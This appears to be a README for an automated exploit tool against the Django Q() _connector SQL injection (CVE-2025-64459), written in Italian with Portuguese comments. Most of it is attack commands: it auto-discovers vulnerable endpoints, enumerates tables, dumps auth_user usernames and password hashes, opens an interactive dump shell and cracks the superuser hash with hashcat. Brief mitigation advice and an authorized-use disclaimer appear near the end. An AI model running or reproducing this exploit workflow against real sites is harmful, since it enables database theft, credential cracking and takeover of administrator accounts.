
NEO-SQLi — sfrutta la SQL Injection di Django _connector (CVE-2025-64459) | canale RedTeam Brasil
Esplorazione automatizzata di SQL Injection nell'ORM di Django
oggetto Q _connector · CVE-2025-64459
🎥 canale RedTeam Brasil — sicurezza offensiva, nella pratica, in portoghese.
██████╗ ████████╗██████╗ connector-sqli
██╔══██╗╚══██╔══╝██╔══██╗ Django Q() `_connector` SQLi
██████╔╝ ██║ ██████╔╝ CVE-2025-64459
██╔══██╗ ██║ ██╔══██╗ canal RedTeam Brasil
██║ ██║ ██║ ██████╔╝ youtube.com/@RedTeamBrasil
╚═╝ ╚═╝ ╚═╝ ╚═════╝ uso autorizzato solo
L'ORM di Django costruisce i filtri con gli oggetti Q(). Il costruttore
Q(*args, _connector=None, _negated=False, **kwargs) accetta il kwarg speciale
_connector — la stringa (AND/OR) che collega le condizioni all'interno del WHERE.
Nelle versioni interessate questo valore non veniva sanitizzato e finiva grezzo nella SQL.
Quando l'applicazione passa l'input dell'utente direttamente a Q() / .filter() /
.exclude() / .get() tramite l'espansione di dizionario — l'anti-pattern classico:
# ❌ VULNERÁVEL
posts = Post.objects.filter(Q(**request.GET)) # ou .filter(**request.GET)
…l'attaccante controlla _connector e inietta SQL arbitraria tra le condizioni
(vale per SQLite, PostgreSQL, MySQL, ecc.).
Con
DEBUG = Truel'esplorazione diventa banale: la pagina di errore di Django restituisce la SQL costruita, la tabella base e il numero di colonne — esattamente ciò che lo strumento usa per costruire l'UNION da solo.
Esploratore generico (non legato a un singolo target) e automatizzato:
--auto): crawl sulla home + robots/sitemap + wordlist incorporata, testando ogni percorso tramite il FieldError di Django.DEBUG=True tramite FieldError.--proxy) e target HTTPS.git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py
# 1) confirmar a falha
python3 rtb_connector_sqli.py -u http://ALVO check
# 2) listar tabelas
python3 rtb_connector_sqli.py -u http://ALVO tables
# 3) listar colunas de uma tabela
python3 rtb_connector_sqli.py -u http://ALVO columns auth_user
# 4) dumpar (colunas específicas ou todas)
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --where "is_superuser=1"
# 5) atalho pros usuários do Django
python3 rtb_connector_sqli.py -u http://ALVO users
# 6) expressão SQL livre
python3 rtb_connector_sqli.py -u http://ALVO query "sqlite_version()"
# 7) MODO INTERATIVO (menu tabela → colunas → dump)
python3 rtb_connector_sqli.py -u http://ALVO shell
# 8) NÃO SABE A ROTA? deixa ele achar sozinho
python3 rtb_connector_sqli.py -u http://ALVO auto # só descobre e lista
python3 rtb_connector_sqli.py -u http://ALVO --auto shell # descobre e já explora
Con
--auto(o il sottocomandoauto) esegue il crawl sulla home +robots.txt/sitemap.xmle usa una wordlist incorporata di percorsi di elenco/ricerca (EN + PT-BR + API), segnando quelli che restituisconoFieldErrordi Django. Se passi un--pathsbagliato, passa automaticamente alla modalità di discovery.
# tudo pelo Burp
python3 rtb_connector_sqli.py -u http://ALVO --proxy http://127.0.0.1:8080 users
# ou por variável de ambiente (sem a flag)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ALVO shell
[*] Alvo: http://ALVO/list
[+] Campos do model (6): author, content, created_at, id, status, title
[+] SQLi confirmada no `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Tabela base: <app>_<model> · colunas no SELECT: 6
[+] Coluna refletida (leitura): posição 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──
Con l'hash del superuser in mano:
hashcat -m 10000 hash.txt rockyou.txt # Django usa pbkdf2_sha256
request.GET direttamente a Q()/.filter(). Usa una allow-list:
ALLOWED = {"title__icontains", "status"}
safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
Post.objects.filter(**safe)
DEBUG = False in produzione (non far trapelare SQL/tabelle/settings).Strumento educativo e solo per test autorizzati (labs, CTF, bug bounty in scope, pentest commissionato). L'uso contro sistemi senza autorizzazione esplicita è reato — sei l'unico responsabile.
Realizzato da RedTeam Brasil · ti è piaciuto? lascia un like e iscriviti al canale.
| Item | Detalhe |
|---|
| CVE | CVE-2025-64459 |
| Componente | django.db.models — Q() / QuerySet (_connector e alias di colonna) |
| Versões afetadas | Django < 4.2.26, < 5.1.14, < 5.2.8 |
| Correção | aggiornare a 4.2.26 / 5.1.14 / 5.2.8 (o successiva) |
| Impacto | lettura arbitraria del database (UNION/blind) → dump delle credenziali ed escalation della catena di attacco |
| Flag | A cosa serve |
|---|
--path /buscar | endpoint vulnerabile (default /list) |
--auto | trova l'endpoint da solo (crawl + wordlist) |
--wordlist rotas.txt | percorsi extra per la discovery (1 per riga) |
--base app_model | forza la tabella base (se l'auto-rilevamento fallisce) |
--proxy http://127.0.0.1:8080 | invia tutto a Burp / mitmproxy |